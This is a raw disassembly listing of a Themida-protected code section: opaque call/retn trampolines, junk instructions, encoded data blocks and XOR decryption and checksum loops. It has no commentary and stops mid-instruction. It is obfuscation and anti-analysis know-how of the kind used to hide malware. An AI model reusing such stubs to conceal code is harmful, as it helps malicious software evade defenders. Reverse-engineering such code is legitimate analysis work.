0C0h jmp $+5 mov eax, [ebp+6122191h] jmp loc_5BF4A7 ; --------------------------------------------------------------------------- db 0DEh, 0B7h, 5Ah ; --------------------------------------------------------------------------- sub al, 77h add [ebx], dl lodsd cmpsb mov ebp, 0F73E9F81h and ebx, [eax+edi*4-59h] loc_5BF4A7: ; CODE XREF: Themida_:005BF490j add eax, 7 mov ebx, [ebp+61228D1h] add eax, 0 mov edi, [ebp+612283Dh] add bl, 18h cmp edx, eax jnb loc_5BF4D5 add edi, 5357DA7h sbb di, 9798h jmp loc_5BF51B ; --------------------------------------------------------------------------- stc loc_5BF4D5: ; CODE XREF: Themida_:005BF4BEj mov ecx, [ebp+61213DDh] or [ebp+612042Dh], edi mov bx, 660Eh and ecx, 1 jz loc_5BF51B pusha mov [ebp+6122A81h], esi or dh, 65h popa and dword ptr [ebp+61213DDh], 0FFFFFFFEh or [ebp+6120B39h], esi mov [ebp+6122191h], edx mov bx, 9090h mov ebx, [ebp+6120CA5h] jmp $+5 loc_5BF51B: ; CODE XREF: Themida_:005BF3E4j ; Themida_:005BF42Cj ... lea esi, [ebp+615D407h] push 0 push ecx call sub_5BF52C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF52C proc near ; CODE XREF: Themida_:005BF524p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5BF52C endp ; --------------------------------------------------------------------------- dd 6559830Fh, 13E9C588h, 0E3000000h, 0A24A5490h, 0E3AACAD6h dd 4421366Ch, 0A7BFE5AFh, 6AC70Bh, 0FA82BF66h, 29D195FFh dd 9D010612h, 6121C8Dh, 705B9h, 1D8D0100h, 0FC061208h dd 0FFCE183h, 488h, 9CBB6600h, 6AFC70h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 8EFD52C3h dd 7841E7E6h, 0B589ED7Bh, 612255Dh, 0BD89C02Bh, 6121F75h dd 6AD22Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0FED43C3h, 33ADD8B7h, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0DAFC1FC3h, 89E19872h, 11E9h, 98504F00h dd 0DC4E382Fh, 24765127h, 0F66F47F6h, 0E381ABA8h, 0F69B01Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C5C35747h dd 0EBF3F5A5h, 3195010Ah, 0E9061217h, 0Eh, 0DDA27B97h dd 64126B11h, 44A6E2Ah, 0BD29CBC7h, 6120461h, 880Dh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 14A78241h, 0E7C3CE68h, 958B3EB7h, 6122DCDh, 0DE9h, 407AA700h dd 0C16A8824h, 0C9AC73B6h, 8D8B6763h, 61231BDh, 89DAB70Fh dd 12217DBDh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0ABC1C353h, 299CD1CBh, 0C3CA593Eh dd 0CE8h, 69237200h, 0F5385CA3h, 0BA4D2208h, 0D0E6BF35h dd 835F3D7Ch, 121419BDh, 840F0006h, 8Fh, 21359D23h, 0BD0B0612h dd 61221A9h, 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 6B4A8FD7h, 0E9BD8B3Dh dd 8D061226h, 124E4B8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 0CE0EB331h, 119D2389h dd 0F906122Eh, 6AE1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 921B2AC3h, 4608C923h, 69BD8BCFh dd 83061232h, 120011BDh, 840F0006h, 402h, 83FEB70Fh, 120011BDh dd 840F0106h, 40Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 9CC35141h, 3CE014BFh, 830AB773h, 120011BDh dd 860F0306h, 3A7h, 0FADBC381h, 0F60197Dh, 8C66DBBFh, 3DB529D9h dd 8006121Ah, 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 522257C3h, 0E72695BDh, 45BD8B01h dd 0A061223h, 3F840FC9h, 8B000001h, 1224CD85h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 2F3220E4h, 0DC62A012h, 8533FCBBh, 612248Dh, 28B1B589h dd 66500612h, 489DE8Bh, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0F4AFBE1h, 8B1B0E56h dd 1228EDBDh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 2C8AC357h, 0CE9E3C7h dd 0CE000000h, 0F6D064B0h, 0AEFE9E1Bh, 0E8ADFA6Dh, 0Ah dd 3802067Ah, 0A43070ABh, 890F9E2Bh, 15h, 10E9h, 0F9810F00h dd 22BB1079h, 5CE6B5CEh, 8B4569ADh, 0DE8B5BF2h, 50EDEB68h dd 0BB52508Ah, 6E82ADCDh, 6660310Fh, 890FFA8Bh, 0 ; --------------------------------------------------------------------------- popa pop edx pop eax add dword ptr [esp], 75CE1614h or ebx, 1430ED7Dh call dword ptr [ebp+6123031h] jnp loc_5BF93A pusha or [ebp+6121785h], eax mov ecx, [ebp+6122A19h] popa loc_5BF93A: ; CODE XREF: Themida_:005BF926j mov [ebp+615BD0Ch], eax mov [ebp+6120761h], ebx jmp loc_5BFB30 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5BF956 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF956 proc near ; CODE XREF: Themida_:005BF94Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5BF956 endp ; --------------------------------------------------------------------------- dw 0A70Bh dd 0FF5E107h, 18Bh, 858BF900h, 615BD04h, 1860Fh, 0C7F50000h dd 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0FBA12D9h, 68Dh, 6DBD8900h, 8B06121Dh dd 15BD08B5h, 0DABF6606h, 99858BF4h, 6A061223h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0FB6C352h, 68Fh, 0A99D8B00h, 0F8061216h, 6A0689h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 268152C3h, 0FEB16ABh, 6840Fh, 0BD8B0000h, 612261Dh dd 8BFBB70Fh, 1224CD85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 2DBE5474h, 168B59B1h dd 8589B58Bh, 6121D15h, 9044689h, 121AA195h, 50609606h dd 13E8h, 15006900h, 0C96785FAh, 92FC9744h, 7BBD70EEh dd 596E0BB0h, 50615E5Fh, 3EC1ABBFh, 8DBF960Bh, 0FF388D07h dd 15BD04B5h, 12E906h, 0B0F20000h, 8F324078h, 0CAC087Fh dd 59CEDE92h, 7711F1FAh, 0FD54D368h, 0DA8B664Ch, 2C243481h dd 664CE257h, 66BD53BFh, 858DFB8Bh, 615BD0Ch, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0C6C35242h, 519A5281h dd 0F8BF0F73h, 8A525090h, 66310FFEh, 5A8F25BFh, 0BB665058h dd 6A90769Ch, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0C99CC351h, 18C7FF3h, 0BD8B828Eh dd 61203B9h, 303195FFh, 830F0612h, 6, 13F58529h, 9D8B0612h dd 6120F39h ; --------------------------------------------------------------------------- loc_5BFB30: ; CODE XREF: Themida_:005BF946j popa jmp loc_5BFB40 ; --------------------------------------------------------------------------- dw 438h dd 0CE95153Dh, 958EEA26h ; --------------------------------------------------------------------------- loc_5BFB40: ; CODE XREF: Themida_:005BFB31j mov dword ptr [ebp+6120011h], 3 push 0 push esi call sub_5BFB55 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFB55 proc near ; CODE XREF: Themida_:005BFB4Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5BFB55 endp ; --------------------------------------------------------------------------- db 7Ah, 0DAh, 80h ; --------------------------------------------------------------------------- scasd pusha sub dl, 0A6h mov edx, [ebp+61212B5h] popa mov edi, 576F97D9h cmp dword ptr [ebp+615BD0Ch], 0 jz loc_5BFB93 mov edi, [ebp+61210F1h] jmp loc_5BFBAE ; --------------------------------------------------------------------------- mov bh, 0CAh loc_5BFB93: ; CODE XREF: Themida_:005BFB80j ; Themida_:005BFBAAj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5BFB93 jmp short loc_5BFBE4 ; --------------------------------------------------------------------------- loc_5BFBAE: ; CODE XREF: Themida_:005BFB8Cj ; Themida_:005BFBC5j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5BFBAE jmp short loc_5BFBE4 ; --------------------------------------------------------------------------- loc_5BFBC9: ; CODE XREF: Themida_:005BFBE0j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5BFBC9 jmp short $+2 loc_5BFBE4: ; CODE XREF: Themida_:005BFBACj ; Themida_:005BFBC7j mov eax, eax push 0 push ebp call sub_5BFBF1 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFBF1 proc near ; CODE XREF: Themida_:005BFBE9p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5BFBF1 endp ; --------------------------------------------------------------------------- adc al, [ecx-3] sti cmpsb and edi, [ebp-3Dh] pop esp mov bh, 0C8h push 0 push ebx call sub_5BFC17 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFC17 proc near ; CODE XREF: Themida_:005BFC0Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5BFC17 endp ; --------------------------------------------------------------------------- inc edi aas sbb edx, [ecx-7Eh] sub bx, 0F4A5h cmp dword ptr [ebp+6120011h], 3 jnz loc_5C00B9 push 0 push ecx call sub_5BFC49 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFC49 proc near ; CODE XREF: Themida_:005BFC41p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5BFC49 endp ; --------------------------------------------------------------------------- shr dword ptr [ebp+73h], 1 or eax, 83244548h mov ebp, 615BD0Ch add [edi], cl test [esp+eax+0], cl add [edi+58941F8Bh], bh push dword ptr [ebp+615BD0Ch] call dword ptr [ebp+6122029h] mov esi, [ebp+615BD00h] push 0 push ebx call sub_5BFC8F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFC8F proc near ; CODE XREF: Themida_:005BFC87p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5BFC8F endp ; --------------------------------------------------------------------------- db 60h dd 0E382E5A8h, 97E67E04h, 6810FBEh, 89000000h, 12345DB5h dd 106C706h, 6A000100h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0F340C355h, 0ED4A2144h dd 16558D89h, 0BF960612h, 2CC2F6F0h, 0F525050h, 5AF98B31h dd 6A9658h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 115658C3h, 0CD32DEAEh, 0C780D6FBh, 860F60FDh dd 18h, 12E8h, 0E30A9F00h, 0A3929B0Ch, 4B4D8DFFh, 36CF0412h dd 5AD40112h, 0DE9h, 0F7784D00h, 84CFA2ADh, 295026E4h dd 0FF6140AAh, 15BD0CB5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 833B8EB8h dd 67BB23A5h, 0FF6A290Dh, 121AE195h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0BF0D0A69h dd 60DD0FFFh, 0BD00B58Bh, 0BB660615h, 858BAB4Bh, 6123039h dd 13E8h, 544B8F00h, 0CD591BC7h, 0ABB1AF10h, 0C5923D1Bh dd 50D648E8h, 1D7D8D29h, 895F0612h, 0C486h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0AF8BC0C5h, 8B726E42h, 1231B99Dh, 0CD958B06h, 8906122Dh dd 120EE5BDh, 0D98B6606h, 3304C283h, 122FC99Dh, 0F9958906h dd 8906122Eh, 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 510129C3h, 0EA858D5Fh, 0F0615D0h dd 8Fh, 3DBD8B00h, 89061234h, 0B886h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0B261F503h, 5E123514h, 0BDBD8B38h, 6A06120Eh, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0DDCCE273h, 85BD89ABh, 0FF061219h, 15BD0CB5h, 8B665706h dd 0F565FF8h, 0FF5BDBB7h, 122CD595h, 8C38006h, 6E85750h dd 41000000h, 7E70D902h, 0F5250BAh, 5F585A31h, 2434895Fh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DEC35343h dd 0BF0F4B18h, 0CB5FFD9h, 90615BDh, 121BC9B5h, 2995FF06h dd 6A06122Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0E282C353h, 0BE885h, 31D30000h dd 4E3D9FD6h, 5A9A24Fh, 4C68BBE3h, 835B53E4h, 121189BDh dd 840F0006h, 26h, 29DD8509h, 0F500612h, 0C89h, 52506000h dd 585A310Fh, 0BB4B866h, 24348961h, 8EEABB66h, 2FED9D03h dd 0B5FF0612h, 615BD0Ch, 149DBD8Bh, 85310612h, 6120035h dd 2AA595FFh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 353EEDC3h, 0BF4BD804h, 0E9ACDC0Dh dd 8, 0B1DA15E0h, 313174E8h, 0B5FFDE8Bh, 615BD0Ch, 5CE2BB66h dd 1BB195FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 303145C3h, 6D85897Fh, 83061214h dd 122A41BDh, 840F0206h, 90h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 0C1C35242h, 0DBBF0FB5h, 18A9858Bh dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0F4845FC3h, 60B80FCCh, 0EF8018A1h, 719D8BE0h dd 0C6061200h, 6A0000h, 3E850h dword_5C005C dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h ; DATA XREF: ___:off_443EACo dd 0E855C0C3h, 13h, 0C2BC00FAh, 0DF979DFBh, 0E5CE52EDh dd 51A59968h, 66625DE4h, 5FCC5ABFh, 30185C7h, 612h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0A3494FC3h db 7Ch ; --------------------------------------------------------------------------- loc_5C00B9: ; CODE XREF: Themida_:005BFC38j jmp loc_5BF3AF ; --------------------------------------------------------------------------- mov edi, esi mov eax, ecx lea eax, [ebp+6120065h] push 0 push ebx call sub_5C00D3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C00D3 proc near ; CODE XREF: Themida_:005C00CBp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5C00D3 endp ; --------------------------------------------------------------------------- db 0BFh dd 0F195290Dh, 0F061203h, 5090DFBFh, 6800F52h, 50000000h dd 5A310F52h, 0B3310F58h, 50585A50h, 0F8E0Fh, 8B600000h dd 6E9FBh, 94090000h, 326BF194h, 6A9061h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0C5CBEFC3h dd 0F006AF7h, 589h, 5C24BB00h, 6A2B57h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Dh, 8BC35343h, 94626808h dd 542DF337h, 0E2858DF1h, 6A061647h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 6A6EC357h dd 0FABF0F37h, 2CDBD89h, 0B5890612h, 6121A15h, 8905C083h dd 121C4585h, 7BB39006h, 90FE8B50h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0D8C35747h, 0BFA1CC26h, 786163CFh dd 8529006Ah, 61200C5h, 0AE9h, 35C98600h, 3E859BB5h, 6A67AB1Dh dd 0F88B6600h, 0B5595FFh, 6A0612h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0CD634FC3h, 0F57ED02h dd 48Ch, 0BF6600h, 0CA8D8D3Ah, 8B06159Bh, 122E959Dh, 0BBD1FF06h dd 55921062h, 0EE9BD83h, 0F010612h, 7B85h, 9FF38100h, 6A77B8BDh dd 50006A02h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 225F0422h, 19FD8D89h, 50500612h, 0BF310F52h dd 55660D35h, 489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0D595FFA5h, 6A06122Ch dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 819DC357h, 0D9DE9h, 0E800h, 815D0000h, 1647ECEDh dd 0F3816606h, 12E81455h, 57000000h, 0CF97CD96h, 0E379EAA3h dd 529F4505h, 3554C198h, 8D5FFC52h, 15968F85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8BF30DB4h, 121701BDh, 0DE906h, 0A9E60000h, 57F987A1h dd 67AD7AB2h, 903E8B21h, 50FA8B66h, 753BF66h, 52006A90h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0CED4C2D7h, 0B7A34AB7h, 0FF64C209h, 35h, 25896400h dd 0 ; --------------------------------------------------------------------------- mov bl, 8Ch mov [ebp+6122031h], esi inc dword ptr [ebp+6121235h] add ebx, 4F22CAFDh loc_5C0378: ; CODE XREF: Themida_:loc_5C1039j push 0FFFFFFFFh mov [ebp+61221CDh], eax push dword ptr [ebp+61225B1h] mov ebx, [ebp+6122AD5h] call dword ptr [ebp+6121475h] jmp loc_5C04E5 ; --------------------------------------------------------------------------- db 0E8h dd 9 ; --------------------------------------------------------------------------- loc_5C039C: ; CODE XREF: Themida_:005C03A0j wait sub bh, [ebx-49h] jno short loc_5C039C fnstcw word ptr [eax-3A427446h] pop ds adc al, [esi] pop ebx mov al, 0 mov [ebp+6122995h], esi ; --------------------------------------------------------------------------- dd 9D2B70E6h, 6122FADh, 5840Fh, 81660000h, 0E4FC90CBh dd 0D5B58971h, 3C061224h, 0E830F61h, 0BB000001h, 495EA888h dd 8BC8B60Fh, 1220D99Dh, 6BA06h, 0BF660000h, 0C18B6585h dd 12E8h, 0C7902C00h, 424814C7h, 80E3DEC1h, 0D633271Eh dd 5B3CB259h, 0F04E8C1h, 168Ah, 11E900h, 0F99E0000h, 0FC2594A8h dd 6BA53B98h, 0F51053A6h, 66779A70h, 0C82BE2F7h, 30B19D89h dd 0D18B0612h, 0AE8h, 1F828900h, 0FD59EBF8h, 8B731603h dd 1E95BD8h, 0F9000000h, 2D99858Bh, 9D8B0612h, 6121571h dd 6007C083h, 15A58D29h, 820F0612h, 0Fh, 0AE9h, 15F93500h dd 6D30AFE9h, 614EE59Ch, 0F00C083h, 0D03BFBB7h, 10830Fh dd 0BD8B0000h, 612345Dh, 54E9h, 0C7816600h, 8D8BEFDFh dd 61223EDh, 14D1BD8Bh, 0BD090612h, 6121701h, 0F01E183h dd 3484h, 16810F00h, 0E9000000h, 11h, 0D0AAD96Ch, 1D4DD75Ch dd 0F913CC38h, 43360E4Bh, 0EDA5839Eh, 0FE061223h, 0CE0BF66h dd 2D999589h, 0DC8A0612h, 0E9h db 0 ; --------------------------------------------------------------------------- loc_5C04E5: ; CODE XREF: Themida_:005C0392j lea esi, [ebp+615DD1Ah] push 0 push ebp call sub_5C04F6 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C04F6 proc near ; CODE XREF: Themida_:005C04EEp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5C04F6 endp ; --------------------------------------------------------------------------- pop esp push cs push 0 push 0 push eax call sub_5C0515 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0515 proc near ; CODE XREF: Themida_:005C050Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5C0515 endp ; --------------------------------------------------------------------------- db 6Dh, 0D6h, 0E3h dd 0BF0FEFF8h, 952956FBh, 6121D69h, 0D195FF5Bh, 0E9061229h dd 0Ah, 357C31D9h, 799C010Ah, 47B99D9Dh, 8B00000Eh, 1226119Dh dd 0FCE18306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 85C35545h, 0E921E246h, 6, 692BB5C5h, 6AFC305Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 2B92C356h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 0BAF7E2F4h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5C05CF and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C05CF proc near ; CODE XREF: Themida_:005C05C7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5C05CF endp ; --------------------------------------------------------------------------- db 9, 0DBh ; --------------------------------------------------------------------------- sal dword ptr ds:66D59C3Dh, 8Bh sti loc_5C05E9: ; CODE XREF: Themida_:005C05F3j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5C05E9 push 0 push ebp call sub_5C0600 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0600 proc near ; CODE XREF: Themida_:005C05F8p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5C0600 endp ; --------------------------------------------------------------------------- dd 6CECEFC6h, 87E6AE29h, 9D894964h, 6122A35h, 3B6BABBFh dd 880D2Bh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0B60933C3h, 695BB02Bh, 0CB80F3ABh dd 0CD958BC4h, 6606122Dh, 8D8BDA8Bh, 61231BDh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 67C35343h, 50D1D48Bh dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 4D9D8B58h dd 6A06121Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0B98EC352h, 333055A7h, 1227DDBDh dd 835B5306h, 121419BDh, 840F0006h, 50h, 0B8F9h, 0B70F0000h dd 4B8D8DDAh, 6A06124Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0BBFBC350h, 3529052Fh dd 0BD895195h, 6122009h, 0BE95Bh, 0B5980000h, 4FA1E100h dd 52D855DFh, 66E1FFCBh, 86FDE781h, 11BD83h, 0F000612h dd 47684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 3D6975D2h, 869E628h, 819D8BE6h, 89061234h dd 120C7985h, 11BD8306h, 1061200h, 454840Fh, 7E80000h dd 50000000h, 0BE409405h, 820FA561h, 0 ; --------------------------------------------------------------------------- pop edi cmp dword ptr [ebp+6120011h], 3 jbe loc_5C0B84 push 0 push ebp call sub_5C0791 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0791 proc near ; CODE XREF: Themida_:005C0789p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5C0791 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dw 0BE5h ; --------------------------------------------------------------------------- lea esp, [ecx] mov cl, 85h mov [ebp+6121731h], ecx pusha xor di, 7064h mov cx, ds push 0 push edx call sub_5C07C2 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C07C2 proc near ; CODE XREF: Themida_:005C07BAp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5C07C2 endp ; --------------------------------------------------------------------------- inc eax mov dword ptr [edi], 0FB560CCh mov bh, 0D8h jns loc_5C07E7 or [ebp+6121375h], esi loc_5C07E7: ; CODE XREF: Themida_:005C07DBj and cl, 4 push 0 push ecx call sub_5C07F5 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C07F5 proc near ; CODE XREF: Themida_:005C07EDp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5C07F5 endp ; --------------------------------------------------------------------------- jb short loc_5C0884 mov ebx, [ebp+61215C5h] or cl, cl jz loc_5C0973 add bx, 3E9Ah pusha push ecx call near ptr loc_5C082A+1 setalc mov ebx, 0B2DABCB8h aas pushf pop edi loc_5C082A: ; CODE XREF: Themida_:005C081Cp mov bl, [edx+5Ah] push ebx sub [ebp+6122DFDh], eax pop ebx popa mov eax, [ebp+61224CDh] push 0 push edx call sub_5C0847 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0847 proc near ; CODE XREF: Themida_:005C083Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5C0847 endp ; --------------------------------------------------------------------------- db 1Ah dd 94400AEAh, 7B9B63DDh, 8533F88Ah, 612248Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 69C35646h ; --------------------------------------------------------------------------- loc_5C0884: ; CODE XREF: Themida_:005C0805j std xchg eax, ebx into mov ah, 27h stc mov bh, 0Fh std movzx edi, di nop push eax pusha pusha jno $+6 push esi pop eax popa popa nop push 0 push eax call sub_5C08AA and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C08AA proc near ; CODE XREF: Themida_:005C08A2p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5C08AA endp ; --------------------------------------------------------------------------- cwde cmp fs:0BE60407Bh, ch pop dword ptr [edx+799D8B43h] pop es adc al, [esi] popa mov ebx, [ebp+6120385h] push 0 mov ebx, edi push 137A3258h pusha mov ax, 0EEDBh mov ax, 1E5Bh popa xor dword ptr [esp], 136531A7h jmp loc_5C0904 ; --------------------------------------------------------------------------- mov ah, 5Ch wait retn 8170h ; --------------------------------------------------------------------------- dd 72AD47D4h, 12264681h, 0DCF065D1h ; --------------------------------------------------------------------------- loc_5C0904: ; CODE XREF: Themida_:005C08EDj call dword ptr [ebp+6123031h] and ebx, [ebp+612122Dh] mov [ebp+615BD0Ch], eax push 0 push edx call sub_5C0921 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0921 proc near ; CODE XREF: Themida_:005C0919p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5C0921 endp ; --------------------------------------------------------------------------- db 7Fh, 0Dh, 1Ch dd 0C1B7635Ah, 1EDE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 0FC66A36Bh, 31605653h dd 121D61BDh, 0A1BD8B06h, 61061212h, 0B1BD895Bh db 28h, 12h, 6 ; --------------------------------------------------------------------------- loc_5C0973: ; CODE XREF: Themida_:005C080Fj mov eax, [ebp+615BD04h] push 0 push esi call sub_5C0984 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0984 proc near ; CODE XREF: Themida_:005C097Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5C0984 endp ; --------------------------------------------------------------------------- push esi or [ebx+121E05BDh], cl push es mov dword ptr [eax], 18h push 0 push eax call sub_5C09AD and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C09AD proc near ; CODE XREF: Themida_:005C09A5p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5C09AD endp ; --------------------------------------------------------------------------- das pop ebx call near ptr 